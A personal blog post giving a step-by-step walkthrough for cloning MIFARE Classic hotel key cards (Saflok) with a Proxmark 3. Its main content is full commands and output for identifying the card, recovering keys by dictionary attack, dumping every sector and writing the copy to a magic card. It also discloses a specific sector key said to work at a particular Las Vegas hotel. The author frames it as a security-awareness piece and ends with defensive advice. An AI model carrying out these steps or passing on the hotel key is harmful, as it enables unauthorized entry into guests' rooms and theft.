Shawn's Blog

Cloning Hotel Cards With a Proxmark

Source Card

At all the hotels I’ve ever stayed at, I’ve never once encountered one with an access system I trust to protect me, my party, or our belongings. It’s always been trivial to clone NFC access tags or magnetic stripes, the former being the subject of this blog post. It’s for this reason that I’ve always carried such access tags in a shielded wallet or sleeve in order to lower the odds of an opportunistic adversary burgling my belongings, though obviously a truly dedicated adversary has plenty of other avenues to achieve physical access.

Security Does Exist

At the time of writing this, the MIFARE DESFire and HID iCLASS SE lines of NFC technologies have not been cracked yet. However, I still run into the older, fully cracked MIFARE Classics most frequently in the wild.

The survival of fully-cracked access systems in production can usually be attributed to budgetary constraints. It’s not always the case that there isn’t the funding to upgrade, but that an entity’s threat model doesn’t rank such a risk as being sufficiently high enough to justify the expense. While that’s great for saving the company money, as a semi-frequent hotel patron myself, that makes me uneasy.

During my undergrad, I had a friend who lived in a new apartment complex that similarly used fully-cracked access systems presumably because it was just cheaper. While this can sometimes be convenient for individuals with the right skillsets for a variety of reasons, it still raises concerns about the integrity of the access systems we rely on to keep us safe.

Just because the MIFARE DESFire and HID iCLASS SE technologies haven’t been cracked yet doesn’t mean that they’re invulnerable; these are actually still frequently vulnerable in the wild due to poor site-specific configuration and integration, but that’s a topic for another time.

Obviously, this is not an exhaustive list of uncracked NFC technologies.

Materials

Obviously, this article uses a Proxmark. Specifically, I’m using the Proxmark 3 RDV4, though any of the other models should be fine as well.

You’ll need a target tag (source) and magic tag (destination). A “magic tag” (or “magic card”) is any NFC tag designed with backdoor commands that enable additional functionality that genuine access tags lack, such as the ability to rewrite the UID field to an arbitrary value. You can usually find these tags available for cheaper than genuine tags on any online marketplace.

On a computer, you’ll need to install the Proxmark3 software in order to interact with the physical Proxmark device.

Determining the Card Type

Start up pm3, place the target tag on the Proxmark, and search for the tag with hf search:

[usb] pm3 --> hf search
 🕗  Searching for ISO14443-A tag...
[=] ---------- ISO14443-A Information ----------
[+]  UID: XX XX XX XX   ( ONUID, re-used )
[+] ATQA: 00 04
[+]  SAK: 08 [2]
[+] Possible types:
[+]    MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[=]
[+] Prng detection....... weak

[?] Hint: Try `hf mf info`


[+] Valid ISO 14443-A tag found

Get more information about the tag with hf mf info:

[usb] pm3 --> hf mf info

[=] --- ISO14443-a Information ---------------------
[+]  UID: XX XX XX XX
[+] ATQA: 00 04
[+]  SAK: 08 [2]

[=] --- Keys Information
[+] loaded 2 user keys
[+] loaded 61 hardcoded keys
[+] Sector 0 key A... XXXXXXXXXXXX
[+] Sector 0 key B... XXXXXXXXXXXX
[+] Sector 1 key A... XXXXXXXXXXXX
[+] Backdoor key..... XXXXXXXXXXXX
[+] Block 0.... XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX | ..XX....

[=] --- Fingerprint
[+] Fudan FM11RF08S **98
[+] dormakaba Saflok detected

[=] --- Magic Tag Information
[=] <n/a>

[=] --- PRNG Information
[+] Prng....... weak
[+] Static enc nonce... yes
[?] Hint: Try `script run fm11rf08s_recovery.py`

In this case, the tag being targeted is a Saflok tag. Saflok is a hotel lock system owned by Dormakaba, and their older, more widespread systems were designed around the now-cracked MIFARE Classic technology.

This article covers cloning MIFARE Classic-based tags, which I’ve encountered hotels most commonly use. If I run into another type in the future as I go about my travels, then I’ll write about them.

Understanding MIFARE Classic Memory Organization

MIFARE Classics organize memory into 16-byte “blocks.” A group of blocks is organized into a “sector,” and sectors are protected with a read key (A) and write key (B).

The number of blocks per sector and number of total sectors in a tag depends on the tag variant. MIFARE Classic 1K tags, for instance, have 1 KB of memory organized into 16 sectors of 4 blocks each. MIFARE Classic 4K tags, as another example, have 4 KB of memory organized into 32 sectors of 4 blocks each and 8 sectors of 16 blocks each.

The last block of each sector, the “sector trailer,” contains the sector’s keys and access bits.

Unlocking Sectors

In order to clone the tag, we need to unlock the sectors. pm3 has an autopwn tool that runs a variety of attacks against the tag, resorting to exploiting known vulnerabilities in the technology if a dictionary attack is insufficient. This is usually enough to get you by.

[usb] pm3 --> hf mf autopwn

However, I’ve never encountered a hotel tag whose keys weren’t just on common wordlists. I won’t make any specific recommendations since wordlists tend to evolve rapidly (and move around the Internet), but I’ll note that the Flipper and Proxmark communities are usually my go-to sources of wordlists; a few searches on GitHub should land you where you need to be.

We can check the keys against the tag with hf mf chk:

[usb] pm3 --> hf mf chk -f /home/skat/dl/XXXX/2025_keys.dic --dump
[+] loaded 61 hardcoded keys
[+] Loaded 30 keys from dictionary file `/home/skat/dl/XXXX/2025_keys.dic`
[=] Start check for keys...
[=] .................................
[=] time in checkkeys 8 seconds

[=] testing to read key B...

[+] found keys:

[+] -----+-----+--------------+---+--------------+----
[+]  Sec | Blk | key A        |res| key B        |res
[+] -----+-----+--------------+---+--------------+----
[+]  000 | 003 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  001 | 007 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  002 | 011 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  003 | 015 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  004 | 019 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  005 | 023 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  006 | 027 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  007 | 031 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  008 | 035 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  009 | 039 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  010 | 043 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  011 | 047 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  012 | 051 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  013 | 055 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  014 | 059 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+]  015 | 063 | XXXXXXXXXXXX | 1 | FFFFFFFFFFFF | 1
[+] -----+-----+--------------+---+--------------+----
[+] ( 0:Failed / 1:Success )

[+] Generating binary key file
[+] Found keys have been dumped to `/home/skat/hf-mf-XXXXXXXX-key.bin`
[=] --[ FFFFFFFFFFFF ]-- has been inserted for unknown keys where res is 0

In this case, all the write keys were the default FFFFFFFFFFFF. I’ve censored out the read keys since that’s not relevant to this post.

If you stay at a particular bird-themed hotel in Las Vegas, sector 1’s read key is 2A2C13CC242A, sector 2’s read key is FFFFFFFFFFFF, and the rest of the sectors’ read keys are the same repeating value, so you really only need to crack 1 key.

The keys were written to a file on the system, which we’ll use to dump the entire tag’s contents with hf mf dump:

[usb] pm3 --> hf mf dump
[=] Using... hf-mf-XXXXXXXX-key.bin
[+] Loaded binary key file `/home/skat/hf-mf-XXXXXXXX-key.bin`
[=] Reading sector access bits...
[=] .................
[+] Finished reading sector access bits
[=] Dumping all blocks from card...
 🕓 Sector... 15 block... 3 ( ok )
[+] Succeeded in dumping all blocks

[+] time: 9 seconds


[=] -----+-----+-------------------------------------------------+-----------------
[=]  sec | blk | data                                            | ascii
[=] -----+-----+-------------------------------------------------+-----------------
[=]    0 |   0 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   1 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   2 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   3 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    1 |   4 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   5 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   6 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   7 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    2 |   8 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |   9 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  10 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  11 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    3 |  12 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  13 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  14 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  15 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    4 |  16 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  17 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  18 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  19 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    5 |  20 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  21 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  22 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  23 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    6 |  24 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  25 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  26 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  27 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    7 |  28 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  29 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  30 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  31 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    8 |  32 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  33 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  34 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  35 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]    9 |  36 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  37 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  38 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  39 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]   10 |  40 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  41 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  42 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  43 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]   11 |  44 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  45 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  46 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  47 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]   12 |  48 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  49 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  50 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  51 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]   13 |  52 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  53 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  54 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  55 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]   14 |  56 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  57 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  58 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  59 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]   15 |  60 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  61 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  62 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=]      |  63 | XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX XX | ................
[=] -----+-----+-------------------------------------------------+-----------------

[+] Saved 1024 bytes to binary file `/home/skat/hf-mf-XXXXXXXX-dump.bin`
[+] Saved to json file /home/skat/hf-mf-XXXXXXXX-dump.json

All of the tag’s sectors were unlocked and dumped to a JSON file on the system, which we can then use as input data when writing to a new tag.

Writing to a New Tag

On the Proxmark, replace the target tag with the magic tag. Search for the magic tag with pm3 to confirm that it’s a magic tag:

[usb] pm3 --> hf search
 🕗  Searching for ISO14443-A tag...
[=] ---------- ISO14443-A Information ----------
[+]  UID: XX XX XX XX   ( ONUID, re-used )
[+] ATQA: 00 04
[+]  SAK: 08 [2]
[+] Possible types:
[+]    MIFARE Classic 1K
[=] proprietary non iso14443-4 card found, RATS not supported
[=]

[+] Magic capabilities... Gen 1a
[#] Static nonce......... 01200145
[+] Static nonce......... yes

[?] Hint: Use `hf mf c*` magic commands
[?] Hint: Try `hf mf info`


[+] Valid ISO 14443-A tag found

Finally, write the target tag’s dumped data to the magic tag with hf mf cload:

[usb] pm3 --> hf mf cload -f hf-mf-XXXXXXXX-dump.bin
[+] Loaded 1024 bytes from binary file `hf-mf-XXXXXXXX-dump.bin`
[=] Copying to magic gen1a MIFARE Classic 1K
[=] .................................................................

[+] Card loaded 64 blocks from file
[=] Done!

Just like that, the target tag has been cloned to the magic tag, and these two tags are functionally indistinguishable.

Risk Assessment

The ease with which this can be done raises a lot of concerns about the access systems that are supposed to keep us safe; there exist off-the-shelf tools that automatically do all of this in seconds from a greater distance, opening up opportunities for adversaries. It’s for this reason that I generally recommend using a shielded wallet or sleeve to store NFC cards. However, an adversary may still target “backdoor” tags, such as those commonly used by hotel staff.

How much you should care about this vulnerability depends on your threat model and risk appetite. It’s worth keeping in mind that against a dedicated adversary, it’s near impossible to be completely secure, but you can add barriers and controls that raise the dedication required to penetrate your defenses.

Your hotel room, as uncomfortable as this may sound, should not be considered a secure location (for a variety of reasons in addition to access systems security). I advise anyone use the physical controls available while residing in a hotel room, such as door latches and physical deadbolts, or bring your own security bars. While you’re gone, it may be worth setting up a security camera to sense motion in order to detect unauthorized access in your absence. Again, it all depends on your threat model.

Happy hacking!